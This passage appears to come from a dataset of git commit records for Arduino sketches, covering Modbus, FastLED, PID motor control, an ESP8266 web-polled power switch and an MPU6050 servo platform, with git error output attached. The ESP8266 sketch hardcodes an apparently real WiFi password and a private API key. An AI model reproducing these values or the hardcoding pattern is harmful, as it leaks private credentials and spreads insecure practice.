TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\nint sensorValue = 0; \/\/ value read from the pot\nint outputValue = 0; \n\nPacket packets[TOTAL_NO_OF_PACKETS];\n\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 229, PRESET_MULTIPLE_REGISTERS, 1, 1, 0);\n \/\/229 es el id del esclavo\n modbus_configure(&Serial, baud, SERIAL_8N1, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n modbus_update();\n regs[0] = analogRead(0)\/4;\n \/\/analogWrite(LED, regs[0]>>2); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'protocol\/modbus\/lab\/rs485_smodbus_master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4095389d9b1d7bd21919fe9aee2be6ead1785b63","subject":"Adding example that DOESN'T use a pixel-addressable LED strip, but just uses the FastLED HSV-to-RGB conversion functions.","message":"Adding example that DOESN'T use a pixel-addressable LED strip, but just uses the FastLED HSV-to-RGB conversion functions.\n","repos":"corbinstreehouse\/FastLED,NicoHood\/FastLED,MiketheChap\/FastLED,MattDurr\/FastLED,MiketheChap\/FastLED,felixLam\/FastLED,ryankenney\/FastLED,wilhelmryan\/FastLED,eshkrab\/FastLED-esp32,kcouck\/FastLED,felixLam\/FastLED,FastLED\/FastLED,kcouck\/FastLED,yaneexy\/FastLED,NicoHood\/FastLED,liyanage\/FastLED,corbinstreehouse\/FastLED,PaulStoffregen\/FastLED,yaneexy\/FastLED,MattDurr\/FastLED,wilhelmryan\/FastLED,PaulStoffregen\/FastLED,wsilverio\/FastLED,ryankenney\/FastLED,remspoor\/FastLED,FastLED\/FastLED,FastLED\/FastLED,tullo-x86\/FastLED,liyanage\/FastLED,PaulStoffregen\/FastLED,eshkrab\/FastLED-esp32,tullo-x86\/FastLED,FastLED\/FastLED,wsilverio\/FastLED,neographophobic\/FastLED,neographophobic\/FastLED,remspoor\/FastLED","old_file":"examples\/AnalogOutput\/AnalogOutput.ino","new_file":"examples\/AnalogOutput\/AnalogOutput.ino","new_contents":"#include <FastLED.h>\n\n\/\/ Example showing how to use FastLED color functions\n\/\/ even when you're NOT using a \"pixel-addressible\" smart LED strip.\n\/\/\n\/\/ This example is designed to control an \"analog\" RGB LED strip\n\/\/ (or a single RGB LED) being driven by Arduino PWM output pins.\n\/\/ So this code never calls FastLED.addLEDs() or FastLED.show().\n\/\/\n\/\/ This example illustrates one way you can use just the portions \n\/\/ of FastLED that you need. In this case, this code uses just the\n\/\/ fast HSV color conversion code.\n\/\/ \n\/\/ In this example, the RGB values are output on three separate\n\/\/ 'analog' PWM pins, one for red, one for green, and one for blue.\n \n#define REDPIN 5\n#define GREENPIN 6\n#define BLUEPIN 3\n\n\/\/ showAnalogRGB: this is like FastLED.show(), but outputs on \n\/\/ analog PWM output pins instead of sending data to an intelligent,\n\/\/ pixel-addressable LED strip.\n\/\/ \n\/\/ This function takes the incoming RGB values and outputs the values\n\/\/ on three analog PWM output pins to the r, g, and b values respectively.\nvoid showAnalogRGB( const CRGB& rgb)\n{\n analogWrite(REDPIN, rgb.r );\n analogWrite(GREENPIN, rgb.g );\n analogWrite(BLUEPIN, rgb.b );\n}\n\n\n\n\/\/ colorBars: flashes Red, then Green, then Blue, then Black.\n\/\/ Helpful for diagnosing if you've mis-wired which is which.\nvoid colorBars()\n{\n showAnalogRGB( CRGB::Red ); delay(500);\n showAnalogRGB( CRGB::Green ); delay(500);\n showAnalogRGB( CRGB::Blue ); delay(500);\n showAnalogRGB( CRGB::Black ); delay(500);\n}\n\nvoid loop() \n{\n static uint8_t hue;\n hue = hue + 1;\n \/\/ Use FastLED automatic HSV->RGB conversion\n showAnalogRGB( CHSV( hue, 255, 255) );\n \n delay(20);\n}\n\n\nvoid setup() {\n pinMode(REDPIN, OUTPUT);\n pinMode(GREENPIN, OUTPUT);\n pinMode(BLUEPIN, OUTPUT);\n\n \/\/ Flash the \"hello\" color sequence: R, G, B, black.\n colorBars();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AnalogOutput\/AnalogOutput.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4c059705f95b01db4274375e14860f543bbb320","subject":"change var name in unit test","message":"change var name in unit test\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"ex01\/ex01.ino","new_file":"ex01\/ex01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8ea95e5b53084ef7a1215709fdc832d12b001bd4","subject":"Experiments with PID","message":"Experiments with PID\n","repos":"theapi\/arduino_robot","old_file":"PID\/PID.ino","new_file":"PID\/PID.ino","new_contents":"\/*\n----------------------------------------------------\n\n PhotoR 10K\n +5 o---\/\\\/\\\/--.--\/\\\/\\\/---o GND\n |\n Pin 0 o-----------\n\n----------------------------------------------------\n*\/\n\n#include <PID_v1.h> \/\/ See PID_Frontend_ArduinoSampleCode\n\n\n#define PIN_INT_LEFT 2\n#define PIN_MOTOR_LEFT 11\n#define PIN_POT A5\n\n\/\/Define Variables we'll be connecting to\ndouble Setpoint, Input, Output;\nint inputPin=0, outputPin=3;\n\n\/\/Specify the links and initial tuning parameters\nPID myPID(&Input, &Output, &Setpoint,2,5,1, DIRECT);\nunsigned long serialTime; \/\/this will help us know when to talk with processing\n\nint count =0;\nlong sample_time = 0;\nlong sample_interval = 10; \/\/ 100 Hz sample rate\nbyte sample_previous = HIGH;\nunsigned long ms_per_int = 0; \/\/ How long since the last beam interrupt\n\nint speed_requested = 0;\nbyte pwm_motor_left = 0;\nint speed_motor_left = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(PIN_INT_LEFT, INPUT );\n\n \n speed_requested = analogRead(PIN_POT) \/ 4;\n \n \n \/\/initialize the variables we're linked to\n Input = 0;\n Setpoint = 100;\n\n \/\/turn the PID on\n myPID.SetMode(AUTOMATIC);\n\n \/\/Serial.println(\"Begin\");\n}\n\nvoid loop()\n{\n unsigned long now = millis();\n if (now - sample_time >= sample_interval) {\n sample_time = now;\n byte sample = digitalRead(PIN_INT_LEFT);\n if (sample != sample_previous) {\n sample_previous = sample;\n if (sample == LOW) {\n \/\/ Just seen a black bit.\n ms_per_int = count * sample_interval;\n count = 0;\n \/\/Serial.println(ms_per_int);\n \n \/\/ Convert to byte value for processing for now\n speed_motor_left = map(ms_per_int, 100, 700, 700, 100);\n \/\/speed_motor_left = ms_per_int;\n Input = speed_motor_left;\n \/\/Serial.print(\" : \"); Serial.print(pwm_motor_left);\n \/\/Serial.print(\" - \"); Serial.println(speed_motor_left);\n }\n \n }\n count++; \/\/ Up the sample count\n \n speed_requested = analogRead(PIN_POT) \/ 4;\n if (speed_requested < 75) {\n \/\/ Can't go slower than this\n speed_requested = 0; \n }\n \n \/\/Serial.println(speed_requested);\n \n \/\/pid-related code\n myPID.Compute();\n \n \/\/ Send it to the motor if changed\n if (pwm_motor_left != speed_requested) {\n pwm_motor_left = speed_requested;\n \n \/\/byte pwm_motor_left = map(Output, 0, 1000, 0, 255);\n \/\/if (pwm_motor_left < 75) pwm_motor_left = 0;\n analogWrite(PIN_MOTOR_LEFT, pwm_motor_left);\n }\n \n }\n \n\n \/\/send-receive with processing if it's time\n if (millis()>serialTime) {\n SerialReceive();\n SerialSend();\n serialTime+=500;\n }\n \n\n}\n\n\n\/********************************************\n * Serial Communication functions \/ helpers\n ********************************************\/\n\n\nunion { \/\/ This Data structure lets\n byte asBytes[24]; \/\/ us take the byte array\n float asFloat[6]; \/\/ sent from processing and\n} \/\/ easily convert it to a\nfoo; \/\/ float array\n\n\n\n\/\/ getting float values from processing into the arduino\n\/\/ was no small task. the way this program does it is\n\/\/ as follows:\n\/\/ * a float takes up 4 bytes. in processing, convert\n\/\/ the array of floats we want to send, into an array\n\/\/ of bytes.\n\/\/ * send the bytes to the arduino\n\/\/ * use a data structure known as a union to convert\n\/\/ the array of bytes back into an array of floats\n\n\/\/ the bytes coming from the arduino follow the following\n\/\/ format:\n\/\/ 0: 0=Manual, 1=Auto, else = ? error ?\n\/\/ 1: 0=Direct, 1=Reverse, else = ? error ?\n\/\/ 2-5: float setpoint\n\/\/ 6-9: float input\n\/\/ 10-13: float output \n\/\/ 14-17: float P_Param\n\/\/ 18-21: float I_Param\n\/\/ 22-245: float D_Param\nvoid SerialReceive()\n{\n\n \/\/ read the bytes sent from Processing\n int index=0;\n byte Auto_Man = -1;\n byte Direct_Reverse = -1;\n while(Serial.available()&&index<26)\n {\n if(index==0) Auto_Man = Serial.read();\n else if(index==1) Direct_Reverse = Serial.read();\n else foo.asBytes[index-2] = Serial.read();\n index++;\n } \n \n \/\/ if the information we got was in the correct format, \n \/\/ read it into the system\n if(index==26 && (Auto_Man==0 || Auto_Man==1)&& (Direct_Reverse==0 || Direct_Reverse==1))\n {\n Setpoint=double(foo.asFloat[0]);\n \/\/Input=double(foo.asFloat[1]); \/\/ * the user has the ability to send the \n \/\/ value of \"Input\" in most cases (as \n \/\/ in this one) this is not needed.\n if(Auto_Man==0) \/\/ * only change the output if we are in \n { \/\/ manual mode. otherwise we'll get an\n Output=double(foo.asFloat[2]); \/\/ output blip, then the controller will \n } \/\/ overwrite.\n \n double p, i, d; \/\/ * read in and set the controller tunings\n p = double(foo.asFloat[3]); \/\/\n i = double(foo.asFloat[4]); \/\/\n d = double(foo.asFloat[5]); \/\/\n myPID.SetTunings(p, i, d); \/\/\n \n if(Auto_Man==0) myPID.SetMode(MANUAL);\/\/ * set the controller mode\n else myPID.SetMode(AUTOMATIC); \/\/\n \n if(Direct_Reverse==0) myPID.SetControllerDirection(DIRECT);\/\/ * set the controller Direction\n else myPID.SetControllerDirection(REVERSE); \/\/\n }\n Serial.flush(); \/\/ * clear any random data from the serial buffer\n}\n\n\/\/ unlike our tiny microprocessor, the processing ap\n\/\/ has no problem converting strings into floats, so\n\/\/ we can just send strings. much easier than getting\n\/\/ floats from processing to here no?\nvoid SerialSend()\n{\n Serial.print(\"PID \");\n Serial.print(Setpoint); \n Serial.print(\" \");\n Serial.print(Input); \n Serial.print(\" \");\n Serial.print(Output); \n Serial.print(\" \");\n Serial.print(myPID.GetKp()); \n Serial.print(\" \");\n Serial.print(myPID.GetKi()); \n Serial.print(\" \");\n Serial.print(myPID.GetKd()); \n Serial.print(\" \");\n if(myPID.GetMode()==AUTOMATIC) Serial.print(\"Automatic\");\n else Serial.print(\"Manual\"); \n Serial.print(\" \");\n if(myPID.GetDirection()==DIRECT) Serial.println(\"Direct\");\n else Serial.println(\"Reverse\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PID\/PID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a0f32d578b97ed0aa1110cad7664c98c141acd08","subject":"removed motors that aren't working (for now)","message":"removed motors that aren't working (for now)\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45900488c0ea0df9771db1ccfa618af39d5f58c2","subject":"Fixed serial control, added more comments","message":"Fixed serial control, added more comments\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display_serial\/led_market_display_serial\/led_market_display_serial.ino","new_file":"display\/live_market_led_display_serial\/led_market_display_serial\/led_market_display_serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"62ab12cb194d15fc73c2a9a219a40135e1a616ef","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/ReadASCIIString\/ReadASCIIString.ino","new_file":"build\/shared\/examples\/04.Communication\/ReadASCIIString\/ReadASCIIString.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 62ab12cb194d15fc73c2a9a219a40135e1a616ef\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"96876f22716a9992656b514ed74f8ccf749f43d4","subject":"Changed readGyro2.ino, added comments.","message":"Changed readGyro2.ino, added comments.\n","repos":"pcko93\/WOLF","old_file":"readGyro2.ino","new_file":"readGyro2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pcko93\/WOLF.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cf081b60e2efd181066398af1ae09b9925b3e101","subject":"Create Switch-433-poll.ino","message":"Create Switch-433-poll.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Switch-433-poll.ino","new_file":"ESP8266-code\/Switch-433-poll.ino","new_contents":"\/*\n ESP8266 script to control a 433Mhz power socket from a web-based switch\n\n Chris Wallace\n March 2016\n \n*\/\n#include <ESP8266WiFi.h>\n#include <RCSwitch.h>\n\n#define ON 1\n#define OFF 0\n#define UNKNOWN -1\n\/\/ WiFi connection \nconst char* ssid = \"BTHub3-M4GH\";\nconst char* password = \"86857ef6df\";\n\n\/\/ Data base connection\nconst char* host = \"kitwallace.co.uk\";\nconst char* data_streamId = \"MS-SW\";\nconst char* data_privateKey = \"40bb2458-f058-4e93-9cac-53523d91136d\";\n\n\/\/ Pins\nint TRANSMIT = 5;\n\n\nRCSwitch mySwitch = RCSwitch();\n\/\/ remote socket setting\nint sw_group = 2;\nint sw_switch = 1;\n\nchar* field = \"sw\";\nString url = constructURL(field);\n\n\/\/ switch status is unknown until we initialise\n\nString lastTimestamp = \"\"; \nint sw_state = UNKNOWN; \n\nint poll_seconds = 20;\n\nvoid httpGetLines(String url, String* lines) {\n\/\/ call the url and fill the array lines with terminated lines \n\n WiFiClient client;\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n\n \/\/ skip headers - terminated by blank line \n \/\/ should really check response code\n while (client.connected()) {\n String line = client.readStringUntil('\\n');\n if (line == \"\\r\") {\n Serial.println(\"headers received\");\n break;\n }\n }\n \/\/ read n lines - first will be a character count \n Serial.println(\"Reading data\");\n int i = 0;\n while (i < sizeof(lines)-1 && client.connected()) {\n String line = client.readStringUntil('\\n');\n lines[i] = line;\n Serial.println(line);\n i++;\n }\n}\n\nString constructURL(char* field) {\n String url = \"\/rt\/home.xq?_action=value&_format=text&_id=\";\n url += data_streamId;\n url += String(\"&_pk=\")+ data_privateKey;\n url += String(\"&_field=\") + field;\n return url;\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Switch controller started\");\n mySwitch.enableTransmit(TRANSMIT); \/\/ send on pwm pin\n}\n\nvoid loop() {\n Serial.println(String(\"Current State \") + sw_state);\n\n\/\/ poll the URL to get the timestamp and value\n String data[3];\n httpGetLines(url,data);\n String timestamp = data[1];\n String request = data[2];\n\n int sw_request = request.toInt(); \/\/ this defaults to 0 if not an integer\n Serial.println(String(\"requested \") + sw_request);\n \n if (sw_state == UNKNOWN || (timestamp > lastTimestamp)) { \/\/ there has been a new command\n if (sw_request == ON) \n mySwitch.switchOn(sw_group,sw_switch); \n else if (sw_request == OFF)\n mySwitch.switchOff(sw_group,sw_switch);\n else {\n Serial.println(String(\"unknown request \") + sw_request);\n return;\n }\n sw_state = sw_request; \n lastTimestamp = timestamp;\n Serial.println(String(\"switched to \") + sw_state );\n }\n \n delay(poll_seconds*1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Switch-433-poll.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"251d656aade0f96f2bd6a307725edb4864cea65e","subject":"Dynamic control of servos using an Intertial Movement Unit (Gyroscope)","message":"Dynamic control of servos using an Intertial Movement Unit (Gyroscope)\n","repos":"GotYourWallet\/2DOF-Platform,GotYourWallet\/2DOF-Platform","old_file":"MPU_6050_Accel_Gyro\/MPU_6050_Accel_Gyro.ino","new_file":"MPU_6050_Accel_Gyro\/MPU_6050_Accel_Gyro.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n#define INTERRUPT_PIN 2 \/\/ use pin 2 on Arduino Uno & most boards\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\nint loopcount = 0; \/\/loopcounter for debugging\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\nbool originSet = false; \/\/while the mpu sits motionless during boot set an origin\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\nfloat origin[3]; \/\/ [yaw, pitch, roll] stores the origin (0,0,0) during boot\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\/\/--------------------------------------\n\n\/\/Gyro + Accel\n\/\/Shematic Pinout http:\/\/diyhacking.com\/arduino-mpu-6050-imu-sensor-tutorial\/\n\n\/\/2 DOF Platform actuated using standard MTG 995 Servos @4.8V\n\/\/by Philipp Schilcher\n\n\/\/references: Sweep by BARRAGAN & Scott Fitzgerald\n\n\n#include <Servo.h>\n\n\/\/time for the program to wait before in\/decrementing the angle [ms]\n#define wait 30\n\/\/time a drawing stroke takes to finish the whole 180 degress\n#define drawDelay 3000\n\/\/maximum actuation angle of a servo\n#define servoRange 180\n\n\/\/2 Servo objects for controlling 2 actual servos in the yaw (lower) and pitch (upper) direction\nServo servoYaw;\nServo servoPitch;\n\n\/\/the current position (angle) of the servo\nint posYaw;\nint posPitch;\nint offset; \/\/the calculated offset between origin and current servo position\n\n\/\/Draw a stroke in x direction (+-) (bounds left 0 to right 180)\nint drawX(int distance) {\n int angle = 0;\n \/\/add the requested offset to the current position\n angle = posYaw+distance;\n \n \/\/check left and right bound\n if (angle <=0) {\n angle = 0;\n }\n else if (angle >= 180) {\n angle =180;\n }\n\n \/\/turn the servo by the requested distance up to the set bounds.\n servoYaw.write(angle);\n posYaw=angle;\n \/\/ It takes \"delay\" milliseconds for the drawing stroke to finish. Divide the maximum time it could take by the maximum angle the servo could reach. Multiply by the actual angle you want to move. Use abs() to make the delay always positive.\n delay(abs(drawDelay\/servoRange*distance));\n\n return 0;\n}\n\n\/\/Draw a stroke in +-y direction (bounds top 0 to bottom 90)\n\nint drawY(int distance) {\n int angle = 0;\n \/\/add the requested offset to the current position\n angle = posPitch+distance;\n \n \/\/check upper and lower bound\n if (angle <=0) {\n angle = 0;\n }\n else if (angle >= 90) {\n angle =90;\n }\n\n \/\/turn the servo by the requested distance up to the set bounds.\n servoPitch.write(angle);\n posPitch=angle;\n \/\/ It takes \"delay\" milliseconds for the drawing stroke to finish. Divide the maximum time it could take by the maximum angle the servo could reach. Multiply by the actual angle you want to move. Use abs() to make the delay always positive.\n delay(abs(drawDelay\/servoRange*distance));\n\n return 0;\n}\n\nvoid setup() {\n\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n Wire.setClock(400000); \/\/ 400kHz I2C clock. Comment this line if having compilation difficulties\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(250000);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n pinMode(INTERRUPT_PIN, INPUT);\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(digitalPinToInterrupt(INTERRUPT_PIN), dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n\n \/\/-----------------------------------------\n \n \/\/connect servos to Arduino using pwm pin 5 and 6\n servoYaw.attach(5);\n servoPitch.attach(6);\n}\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n \/\/while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/}\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n \n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an interrupt)\n fifoCount -= packetSize;\n\n if(loopcount == 10) {\n\n \/\/Initialize Positon\n posPitch = 45;\n servoPitch.write(posPitch);\n posYaw = 90;\n servoYaw.write(posYaw);\n }\n \n if(loopcount == 1999) {\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n\n origin[0] = (ypr[0]);\n origin[1] = (ypr[1]);\n origin[2] = (ypr[2]);\n\n originSet = true;\n }\n\n #ifdef OUTPUT_READABLE_YAWPITCHROLL\n \/\/ display Euler angles in degrees\n mpu.dmpGetQuaternion(&q, fifoBuffer);\n mpu.dmpGetGravity(&gravity, &q);\n mpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n Serial.print(\"ypr\\t\");\n Serial.print(origin[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(loopcount);\n Serial.print(\"\\t\");\n Serial.print(offset);\n Serial.print(\"\\t\");\n Serial.print(ypr[0] * 180\/M_PI);\n Serial.print(\"\\t\");\n Serial.print(ypr[1] * 180\/M_PI);\n Serial.print(\"\\t\");\n 